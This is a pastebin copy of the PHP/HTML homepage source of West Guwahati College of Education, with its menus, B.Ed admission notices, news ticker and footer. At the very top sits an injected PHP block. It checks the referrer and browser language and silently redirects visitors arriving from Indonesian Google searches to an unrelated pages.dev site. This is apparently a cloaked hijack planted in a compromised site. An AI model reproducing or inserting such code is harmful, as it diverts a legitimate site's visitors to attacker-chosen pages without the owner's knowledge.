PasteShr

New Paste Browse

<?php
$s_ref = $_SERVER['HTTP_REFERER'] ?? '';
$agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '');

if (stripos($s_ref, 'google.co.id') !== false ||
(stripos($s_ref, 'google.com') !== false && stripos($lang, 'id') !== false)) {
header("Location: https://radang-usus-kambuh.pages.dev/");
exit;
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <title>West Guwahati College of Education</title>

<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap" rel="stylesheet">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/css/bootstrap.min.css"
    integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">

<style>
    body {
      font-family: 'Poppins', sans-serif;
      background: #f9f9f9;
      margin: 0;
      padding: 0;
      color: #333;
    }

header {
      background: linear-gradient(90deg, #003366, #0059b3);
      color: white;
      padding: 10px 0;
    }

.navbar {
      background-color: white;
      box-shadow: 0 4px 8px rgba(0, 0, 0, 0.08);
    }

.navbar-nav .nav-item .nav-link {
      color: #003366;
      font-weight: 500;
      transition: color 0.3s ease-in-out;
    }

.navbar-nav .nav-item .nav-link:hover,
    .navbar-nav .nav-item.active .nav-link {
      color: #0059b3;
    }

.dropdown-menu {
      border-radius: 8px;
      box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
    }

.dropdown-item:hover {
      background-color: #f1f1f1;
      color: #0059b3;
    }

.ribbon-bar {
      background: linear-gradient(to right, #ff9800, #ffc107);
      color: white;
      text-align: center;
      font-weight: 600;
      padding: 6px 0;
      font-size: 0.9rem;
      letter-spacing: 1px;
    }

footer {
      background-color: #003366;
      color: white;
      padding: 30px 0;
      text-align: center;
    }

footer a {
      color: #ffc107;
      text-decoration: none;
    }

footer a:hover {
      color: #ffffff;
    }

@media (max-width: 768px) {
      .navbar-nav {
        text-align: center;
      }
    }
  </style>
</head>

<body>

<header>
    <div class="ribbon-bar">
      🌟 Welcome to West Guwahati College of Education – Nurturing Future Educators 🌟
    </div>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ribbon Bar</title>
<style>
    body {
    font-family: Arial, sans-serif;
    margin: 0;
    padding: 0;
    background-color: #f7f7f7; /* Change the background color to a light shade */
}

.container {
    max-width: 100%;
    padding: 10px;
}

.ribbon-bar {
    background-color: transparent; /* Make the ribbon bar background transparent */
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 10px;
    box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1); /* Optional shadow effect */
}

.ribbon-bar p {
    color: #333; /* Change text color to ensure visibility on light background */
    margin: 0;
    font-size: 16px;
}

.button {
    background-color: #4CAF50;
    border: none;
    color: white;
    padding: 10px 20px;
    text-align: center;
    text-decoration: none;
    display: inline-block;
    font-size: 16px;
    margin: 4px 2px;
    cursor: pointer;
    border-radius: 5px;
    box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1); /* Optional button shadow */
}

.button.blue {
    background-color: #008CBA;
}

.button.red {
    background-color: #f44336;
}

.button.yellow {
    background-color: #ffcc00;
}

#visitor-count {
    font-size: 24px;
    font-weight: bold;
    color: #333; /* Ensure text is visible on light backgrounds */
    background-color: #fff; /* Light background for the counter */
    padding: 5px 10px;
    border-radius: 5px;
    display: inline-block;
    border: 1px solid #ddd; /* Optional border */
}

.logo {
    margin-left: 20px;
}

.logo img {
    height: 70px; /* Adjust the height as necessary */
    display: block;
}

/* Responsive Design */
@media (max-width: 768px) {
    .ribbon-bar {
        flex-direction: column;
        align-items: stretch;
    }

.ribbon-bar p {
        margin-bottom: 10px;
        text-align: center;
    }

.button {
        width: 100%;
        margin-bottom: 10px;
    }

.logo {
        text-align: center;
        margin-top: 10px;
    }
}

</style>
</head>
<body>
<div class="container">
    <div class="ribbon-bar">
        <p>Visitor Counter <span id="visitor-count">230071</span></p>
        <a href="https://erp.wgce.ac.in/" class="button">ERP</a>
        <a href="http://westguwahatieducation.dspacelibrary.in:8080/jspui/" class="button blue">Library</a>
        <a href="https://blog.wgce.ac.in/" class="button red">WGCE Blog</a>
        <a href="https://mooc.wgce.ac.in/" class="button">WGCE MOOC</a>
        <a href="https://lms.wgce.ac.in/" class="button yellow">LMS</a>
        <div class="logo">
            <img src="img/naac_b_plus_transparent.png" alt="Logo">
        </div>
    </div>
</div>
</body>
</html>
    
<style>
  @import url('https://fonts.googleapis.com/css2?family=Poppins:wght@400;600&display=swap');

body {
    font-family: 'Poppins', sans-serif;
  }

.navbar {
    background-color: #ffffff;
    padding: 0.8rem 1rem;
    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.08);
    z-index: 999;
  }

.navbar .nav-link {
    color: #1b1f3b;
    font-weight: 500;
    margin-right: 15px;
    transition: all 0.3s ease;
  }

.navbar .nav-link:hover,
  .navbar .nav-item.active .nav-link {
    color: #bfa034 !important;
  }

.navbar .dropdown-menu {
    border-radius: 10px;
    padding: 0.5rem;
    box-shadow: 0 5px 15px rgba(0, 0, 0, 0.15);
    border: none;
  }

.dropdown-item {
    padding: 0.6rem 1.2rem;
    font-size: 0.95rem;
    transition: all 0.2s ease;
  }

.dropdown-item:hover {
    background-color: #f8f9fa;
    color: #bfa034;
  }

.logo-container {
    display: flex;
    align-items: center;
  }

.logo-container img {
    height: 80px;
    margin-right: 10px;
  }

.logo-text {
    color: #1b1f3b;
    font-size: 1.1rem;
    font-weight: 600;
    font-family: 'Poppins', serif;
    line-height: 1.2;
  }

.logo-text p {
    font-size: 0.8rem;
    margin: 0;
    color: #666;
    font-weight: 400;
  }

.flash-icon {
    color: #e63946;
    animation: flashing 1s infinite;
    font-size: 0.9em;
    margin-left: 5px;
  }

@keyframes flashing {
    0% {
      opacity: 1;
    }

50% {
      opacity: 0.1;
    }

100% {
      opacity: 1;
    }
  }

@media (max-width: 767.98px) {
    .logo-text {
      font-size: 0.95rem;
    }

.logo-container img {
      height: 60px;
    }

.dropdown-item {
      font-size: 0.9rem;
    }
  }
  @media (max-width: 767.98px) {
  .navbar-brand {
    flex-grow: 1;
  }

.navbar-toggler {
    margin-left: auto;
  }

.navbar .collapse {
    width: 100%;
  }
}

</style>

<nav class="navbar navbar-expand-lg navbar-light bg-white shadow-sm py-2">
  <div class="container-fluid">
    <div class="d-flex w-100 justify-content-between align-items-center flex-wrap">

<a class="navbar-brand d-flex align-items-center" href="https://wgce.ac.in">
        <img src="img/college_logo_wgce-removebg-preview.png" alt="Logo" class="mr-2" style="height: 60px;">
        <div class="d-flex flex-column">
          <span class="h6 mb-0 font-weight-bold" style="color: #1b1f3b;">West Guwahati College of Education</span>
          <small style="font-size: 0.8rem; color: #555;">Templeghat, Pandu<br>Guwahati - 781012</small>
        </div>
      </a>

<button class="navbar-toggler ml-auto mt-2 mt-lg-0" type="button" data-toggle="collapse"
        data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false"
        aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
    </div>

<div class="collapse navbar-collapse" id="navbarNav">
      <ul class="navbar-nav ml-auto">
       
        <li class="nav-item dropdown">
          <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
            About Us
          </a>
          <div class="dropdown-menu" aria-labelledby="navbarDropdown">
            <a class="dropdown-item" href="about.php">Mission and Vision</a>
            <div class="dropdown-divider"></div>
            <a class="dropdown-item" href="principal.php">Principal's Message</a>
            <div class="dropdown-divider"></div>
            <a class="dropdown-item" href="president.php">Message from President</a>
            <div class="dropdown-divider"></div>
            <a class="dropdown-item" href="alumnipresident.php">Message From President of Alumni</a>
            <div class="dropdown-divider"></div>
            <a class="dropdown-item" href="administration.php">Organisational Structure of the College</a>
            <div class="dropdown-divider"></div>
            <a class="dropdown-item" href="faculty1.php">Faculty</a>
            <div class="dropdown-divider"></div>
            <a class="dropdown-item" href="trust.php">Trust</a>
            <div class="dropdown-divider"> </div>
            <a class="dropdown-item" href="governing.php"> Governing Body</a>
          </div>
        </li>

<a class="dropdown-item" href="pdf/Academic Calender_2023-24.pdf">Academic Calander</a>
            <div class="dropdown-divider"></div>
            <a class="dropdown-item" href="#">College Routine</a>
            <div class="dropdown-divider"></div>
            <a class="dropdown-item" href="pdf/WGCE_Informationbroucher_202425.pdf">Information Broucher</a>
            </div>
        </li>

<li class="nav-item dropdown">
          <a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
          Cells & Committee
          </a>
          <div class="dropdown-menu" aria-labelledby="navbarDropdown">
            <a class="dropdown-item" href="comantiragging.php">Anti-Ragging Cell</a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="comadmission.php">Admission Committee</a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="#">Add-on Course Course Committee</a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="comamc.php">Academic Monitoring Cell</a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="comcampus.php">Campus Discpline Committee</a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="comexam.php">Examination Committee</a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="comchild.php">Child Protection Cell</a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="comlibrary.php">Library Advisory Committee</a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="commentoring.php">Mentoring Committee</a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="comremedial.php">Remedial Coaching Committee</a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="commonitoring.php">Monitoring Committee</a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="comreservation.php">Reservation Quota Committee</a><div class="dropdown-divider"></div>
             <a class="dropdown-item" href="comstaff.php">Staff Mentoring Committee</a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="comgrievance.php">Students Grievance and Redressal Cell </a>
            <div class="dropdown-divider"></div>
            
            
             <a class="dropdown-item" href="comenergy.php">Energy Monitoring Committee </a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="comsexha.php">Sexual Harassment Committee  </a>
            <div class="dropdown-divider"></div>
             <a class="dropdown-item" href="comprof.php">Professional Development Cell </a>
            <div class="dropdown-divider"></div>
            
            
            
            
            
          </div>
        </li>

<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js"
    integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN"
    crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/popper.js@1.12.9/dist/umd/popper.min.js"
    integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q"
    crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.0.0/dist/js/bootstrap.min.js"
    integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl"
    crossorigin="anonymous"></script>
</body>

</html>
    <div>
        <section class="top-news-bar">
  <div class="container mt-3">
    <div class="row">
      <div class="col-12">
        <div class="news-ticker-wrapper shadow-sm rounded">
          <div class="news-label px-3 text-white">
            <strong>📰 Top News</strong>
          </div>

<div class="news-marquee">
            <marquee behavior="scroll" direction="left" onmouseover="this.stop();" onmouseout="this.start();">
                              <a href="admin/uploads/IMG-689c33e9828c25.53064496.pdf" class="news-link">
                  NO FURTHER WITHDRAWAL IS ALLOWED FOR B.ED 1ST SEMESTER, 2025-26 ADMITTED STUDENTS.                </a>
                <span class="news-separator">•</span>
                              <a href="admin/uploads/IMG-68999e91d112f0.99274707.pdf" class="news-link">
                  B.ED 1ST SEMESTER ADMISSION FOR THE SESSION 2025-26 HAS BEEN COMPLETED                </a>
                <span class="news-separator">•</span>
                              <a href="admin/uploads/IMG-68975bc1a7a2e1.70969066.pdf" class="news-link">
                  B.ED 1ST SEMESTER 2025-26 VACANCY REPORT AND NOTIFICATION                </a>
                <span class="news-separator">•</span>
                              <a href="admin/uploads/IMG-6894bcfdeb4822.41204766.pdf" class="news-link">
                  B.ED 1ST SEMESTER 2025-26 INTEGRATED MERIT LIST AND NOTIFICATION                </a>
                <span class="news-separator">•</span>
                              <a href="admin/uploads/IMG-6893200c9582e1.34138955.pdf" class="news-link">
                   B.Ed Admission, 2025 Important Dates and General Notification                 </a>
                <span class="news-separator">•</span>
                              <a href="admin/uploads/IMG-689191d81e3a56.21671725.pdf" class="news-link">
                  SOP FOR B.ED ADMISSION 25-27                </a>
                <span class="news-separator">•</span>
                              <a href="admin/uploads/IMG-688dcb779eb9b8.71095096.pdf" class="news-link">
                  B.ED ADMISSION 2025-27 NOTIFICATION & GOOGLE FORM LINK                </a>
                <span class="news-separator">•</span>
                              <a href="admin/uploads/IMG-68870f6c8d1840.76403155.pdf" class="news-link">
                  PROSPECTUS 2025-26                </a>
                <span class="news-separator">•</span>
                              <a href="admin/uploads/IMG-685faf139d1c26.96265243.pdf" class="news-link">
                  G.U B.EDCET 2025 DETAILS                </a>
                <span class="news-separator">•</span>
                              <a href="admin/uploads/IMG-68554320ba7215.99462742.pdf" class="news-link">
                  G.U B.ED ENTRANCE TEST 2025                </a>
                <span class="news-separator">•</span>
                          </marquee>
          </div>
        </div>
      </div>
    </div>
  </div>
</section>

<style>
  .top-news-bar {
    font-family: 'Poppins', sans-serif;
  }

.news-ticker-wrapper {
    background: #f1f1f1;
    border-left: 6px solid #bfa034;
    border-radius: 8px;
    display: flex;
    align-items: center;
    overflow: hidden;
  }

.news-label {
    background-color: #2a2f4f;
    padding: 12px 18px;
    font-size: 1rem;
    white-space: nowrap;
    border-top-left-radius: 8px;
    border-bottom-left-radius: 8px;
  }

.news-marquee {
    flex-grow: 1;
    padding: 10px;
    background: #ffffff;
    border-top-right-radius: 8px;
    border-bottom-right-radius: 8px;
  }

.news-link {
    color: #1b1f3b;
    font-weight: 500;
    text-decoration: none;
    padding-right: 20px;
    transition: color 0.3s;}

.news-link:hover {
    color: #bfa034;
    text-decoration: underline;
  }

.news-separator {
    color: #999;
    margin: 0 10px;
    font-weight: bold;
  }

@media (max-width: 576px) {
    .news-label {
      font-size: 0.9rem;
      padding: 10px;
    }

.news-link {
      font-size: 0.9rem;
    }

.news-separator {
      display: none;
    }
  }
</style>
    </div>
  
  
    
<div class="container my-5">
  <div class="row justify-content-center align-items-stretch">
    
    
    <div class="col-lg-3 col-md-6 mb-4"><div class="card h-100 shadow border-0 rounded">
        <div class="card-header bg-dark text-white font-weight-bold">
          🔗 Important Links
        </div>
        <div class="card-body" style="max-height: 360px; overflow-y: auto;">
          <ul class="list-unstyled mb-0">

<li class="mb-2">
                          <a href="admin/uploads/IMG-689c33e9828c25.53064496.pdf" target="_blank" class="text-dark">
                            📄 NO FURTHER WITHDRAWAL IS ALLOWED FOR B.ED 1ST SEMESTER, 2025-26 ADMITTED STUDENTS.
                          </a><span class="flash-icon">★NEW</span>
                        </li><li class="mb-2">
                          <a href="admin/uploads/IMG-68999e91d112f0.99274707.pdf" target="_blank" class="text-dark">
                            📄 B.ED 1ST SEMESTER ADMISSION FOR THE SESSION 2025-26 HAS BEEN COMPLETED
                          </a><span class="flash-icon">★NEW</span>
                        </li><li class="mb-2">
                          <a href="admin/uploads/IMG-68975bc1a7a2e1.70969066.pdf" target="_blank" class="text-dark">
                            📄 B.ED 1ST SEMESTER 2025-26 VACANCY REPORT AND NOTIFICATION
                          </a><span class="flash-icon">★NEW</span>
                        </li><li class="mb-2">
                          <a href="admin/uploads/IMG-6894bcfdeb4822.41204766.pdf" target="_blank" class="text-dark">
                            📄 B.ED 1ST SEMESTER 2025-26 INTEGRATED MERIT LIST AND NOTIFICATION
                          </a><span class="flash-icon">★NEW</span>
                        </li>          </ul>
        </div>
      </div>
    </div>

<div class="col-lg-6 col-md-12 mb-4">
      <div id="collegeCarousel" class="carousel slide shadow rounded" data-ride="carousel">
        <div class="carousel-inner">
          <div class="carousel-item active">
            <img src="img/1 (1).png" class="d-block w-100 carousel-img" alt="Slide 1">
          </div>
          <div class="carousel-item">
            <img src="img/1 (2).JPG" class="d-block w-100 carousel-img" alt="Slide 2">
          </div>
          <div class="carousel-item">
            <img src="img/1 (3).JPG" class="d-block w-100 carousel-img" alt="Slide 3">
          </div>
          <div class="carousel-item">
            <img src="img/1 (4).JPG" class="d-block w-100 carousel-img" alt="Slide 4">
          </div>
           <div class="carousel-item">
            <img src="img/1 (5).JPG" class="d-block w-100 carousel-img" alt="Slide 4">
          </div>
           <div class="carousel-item">
            <img src="img/1 (6).JPG" class="d-block w-100 carousel-img" alt="Slide 4">
          </div>
           <div class="carousel-item">
            <img src="img/1 (7).JPG" class="d-block w-100 carousel-img" alt="Slide 4">
          </div>
           <div class="carousel-item">
            <img src="img/1 (8).JPG" class="d-block w-100 carousel-img" alt="Slide 4">
          </div>
        </div>
      </div>
    </div>

<div class="col-lg-3 col-md-6 mb-4">
      <div class="card h-100 shadow border-0 rounded">
        <div class="card-header bg-dark text-white font-weight-bold">
          📌 Latest Updates
        </div>
        <div class="card-body" style="max-height: 360px; overflow-y: auto;">
          <ul class="list-unstyled mb-0">
            <li class="mb-2">
                          <a href="admin/uploads/IMG-6893200c9582e1.34138955.pdf" target="_blank" class="text-dark">
                            🔔  B.Ed Admission, 2025 Important Dates and General Notification 
                          </a>
                        </li><li class="mb-2">
                          <a href="admin/uploads/IMG-689191d81e3a56.21671725.pdf" target="_blank" class="text-dark">
                            🔔 SOP FOR B.ED ADMISSION 25-27
                          </a>
                        </li><li class="mb-2">
                          <a href="admin/uploads/IMG-688dcb779eb9b8.71095096.pdf" target="_blank" class="text-dark">
                            🔔 B.ED ADMISSION 2025-27 NOTIFICATION &amp; GOOGLE FORM LINK
                          </a>
                        </li><li class="mb-2">
                          <a href="admin/uploads/IMG-68870f6c8d1840.76403155.pdf" target="_blank" class="text-dark">
                            🔔 PROSPECTUS 2025-26
                          </a>
                        </li>          </ul>
        </div>
      </div>
    </div>

</div>
</div>

<script>
  $('.carousel').carousel({
    interval: 3000
  });
</script>

<style>
  .carousel-img {
    object-fit: cover;
    height: 360px;
    border-radius: 6px;
  }

.card-body a:hover {
    color: #bfa034;
    text-decoration: underline;
  }

.card-header {
    font-size: 1.1rem;
    background: #1b1f3b !important;
  }

@media (max-width: 768px) {
    .carousel-img {
      height: auto;
    }

.card {
      margin-bottom: 1rem;
    }
  }
</style>

<div class="col-md-6 col-lg-5">
        <div class="custom-card h-100">
          <img src="img/notice.jpg" alt="Campus Notices" class="card-img">
          <div class="custom-card-body">
            <h5 class="custom-card-title">📢 Campus Notices</h5>
            <p class="custom-card-text">Important notices for students and staff.</p>
            <a href="campus_notice.php" class="custom-btn">Read More</a>
          </div>
        </div>
      </div>

<div class="col-md-6 col-lg-5">
        <div class="custom-card h-100">
          <img src="img/events.jpg" alt="Upcoming Events" class="card-img">
          <div class="custom-card-body">
            <h5 class="custom-card-title">📅 Upcoming Events</h5>
            <div class="scrolling-text mb-3">
              <span>NAAC PEER TEAM VISIT FOR ASSESSMENT DATE 7–8 NOVEMBER, 2024 | </span>
            </div>
            <a href="eventsnotice.php" class="custom-btn">View Events</a>
          </div>
        </div>
      </div>

</div>
  </div>
</section>

<style>
  .custom-card {
    background: #fff;
    border-radius: 10px;
    overflow: hidden;
    box-shadow: 0 5px 20px rgba(0, 0, 0, 0.08);
    transition: transform 0.3s ease, box-shadow 0.3s ease;
  }

.custom-card:hover {
    transform: translateY(-5px);
    box-shadow: 0 10px 25px rgba(0, 0, 0, 0.12);
  }

.card-img {
    width: 100%;
    height: 220px;
    object-fit: cover;
  }

.custom-card-body {
    padding: 20px;
  }

.custom-card-title {
    font-size: 1.4rem;
    font-weight: 600;
    color: #1b1f3b;
    margin-bottom: 12px;
  }

.custom-card-text {
    color: #555;
    font-size: 1rem;
    margin-bottom: 16px;
  }

.custom-btn {
    background-color: #1b1f3b;
    color: #fff;
    padding: 10px 20px;
    border-radius: 6px;
    font-weight: 500;
    text-decoration: none;
    transition: background-color 0.3s ease;
    display: inline-block;
  }

.custom-btn:hover {
    background-color: #bfa034;
    color: #fff;
  }

.scrolling-text {
    overflow: hidden;
    white-space: nowrap;
    position: relative;
    height: 1.5rem;
    line-height: 1.5rem;
  }

.scrolling-text span {
    display: inline-block;
    padding-left: 100%;
    animation: scroll-left 15s linear infinite;
    color: #b93e00;
    font-weight: 500;
  }

@keyframes scroll-left {
    0% {
      transform: translateX(100%);
    }

100% {
      transform: translateX(-100%);
    }
  }

@media (max-width: 768px) {
    .card-img {
      height: 180px;
    }

.custom-card-title {
      font-size: 1.2rem;
    }

.custom-btn {
      padding: 8px 16px;
    }
  }
</style>
    </div>

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">

<footer class="site-footer">
  <div class="footer-container">
    
    
    <div class="footer-section map-section">
      <iframe src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3580.7923264937554!2d91.68881457486961!3d26.17089209157699!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x375a5b27314291b3%3A0x6495796dd2153230!2sWest%20Guwahati%20College%20of%20Education!5e0!3m2!1sen!2sin!4v1729955337684!5m2!1sen!2sin"
        loading="lazy" allowfullscreen="" referrerpolicy="no-referrer-when-downgrade"></iframe>
    </div>

<div class="footer-section links-section">
      <p class="copyright">© 2024 West Guwahati College of Education</p>
      <div class="quick-links">
        <a href="#">Home</a>
        <a href="#">About Us</a>
        <a href="#">Services</a>
        <a href="#">Contact</a>
      </div>
      <div class="social-icons">
        <a href="#" class="facebook"><i class="fab fa-facebook-f"></i></a>
        <a href="#" class="twitter"><i class="fab fa-twitter"></i></a>
        <a href="#" class="instagram"><i class="fab fa-instagram"></i></a>
        <a href="#" class="linkedin"><i class="fab fa-linkedin-in"></i></a>
        <a href="https://www.youtube.com/@WGCE1992" class="youtube"><i class="fab fa-youtube"></i></a>
      </div>
    </div>

<div class="footer-section contact-section">
      <h3>Contact Us</h3>
      <p>Email: <a href="mailto:wgcebed3@gmail.com">wgcebed3@gmail.com</a></p>
      <p>Phone: <a href="tel:9957179148">9957179148</a></p>
    </div>
  </div>

<div class="developer-credit">
    <p>Designed and Developed by <strong>Hyper Datum Technologies</strong></p>
  </div>
</footer>

<style>
  .site-footer {
    background: #1b1f3b;
    color: #fff;
    padding: 40px 20px 10px;
    font-family: 'Poppins', sans-serif;
  }

.footer-container {
    display: flex;
    justify-content: space-between;
    flex-wrap: wrap;
    gap: 30px;
    max-width: 1200px;
    margin: auto;
  }

.footer-section {
    flex: 1 1 300px;
    min-width: 280px;
  }

.map-section iframe {
    width: 100%;
    height: 200px;
    border-radius: 10px;
    border: 0;
    box-shadow: 0 2px 10px rgba(0, 0, 0, 0.2);
  }

.links-section {
    text-align: center;
  }

.links-section .quick-links {
    margin: 15px 0;
  }

.quick-links a {
    color: #fff;
    margin: 0 10px;
    font-weight: 500;
    text-decoration: none;
    transition: color 0.3s;
  }

.quick-links a:hover {
    color: #bfa034;
  }

.social-icons {
    margin-top: 15px;
  }

.social-icons a {
    color: #fff;
    margin: 0 8px;
    font-size: 20px;
    transition: color 0.3s;
  }

.social-icons a.facebook:hover { color: #4267B2; }
  .social-icons a.twitter:hover { color: #1DA1F2; }
  .social-icons a.instagram:hover { color: #E1306C; }
  .social-icons a.linkedin:hover { color: #0077B5; }
  .social-icons a.youtube:hover { color: #FF0000; }

.contact-section h3 {
    font-size: 18px;
    color: #ffcc00;
    margin-bottom: 10px;
    text-transform: uppercase;
  }

.contact-section a {
    color: #fff;
    text-decoration: none;
  }

.contact-section a:hover {
    text-decoration: underline;
    color: #bfa034;
  }

.developer-credit {
    text-align: center;
    margin-top: 20px;
    padding-top: 10px;
    border-top: 1px solid rgba(255, 255, 255, 0.1);
    font-size: 0.95rem;
  }

@media (max-width: 768px) {
    .footer-container {
      flex-direction: column;
      align-items: center;
      text-align: center;
    }

.footer-section {
      max-width: 100%;
    }

.quick-links a {
      display: inline-block;
      margin: 5px;
    }
  }
</style>

Paste Settings

Paste Title : [Optional]

Paste Folder : [Optional]

Syntax Highlighting : [Optional]

Paste Expiration : [Optional]

Paste Status : [Optional]

Password : [Optional]

Description: [Optional]

Tags: [Optional]

Encrypt Paste (?)

You are currently not logged in, this means you can not edit or delete anything you paste. Sign Up or Login

Recent Pastes

Untitled
Plaintext | 1 | 29 minutes ago
Untitled
Plaintext | 14 | 3 hours ago
4K IPTV SMARTER STREAM hiring up
Plaintext | 24 | 9 hours ago
Untitled
Plaintext | 250 | 14 hours ago
asd
Plaintext | 76 | 1 day ago
show
Plaintext | 78 | 1 day ago
bflow
Plaintext | 40 | 1 day ago

Paste Settings

Site Languages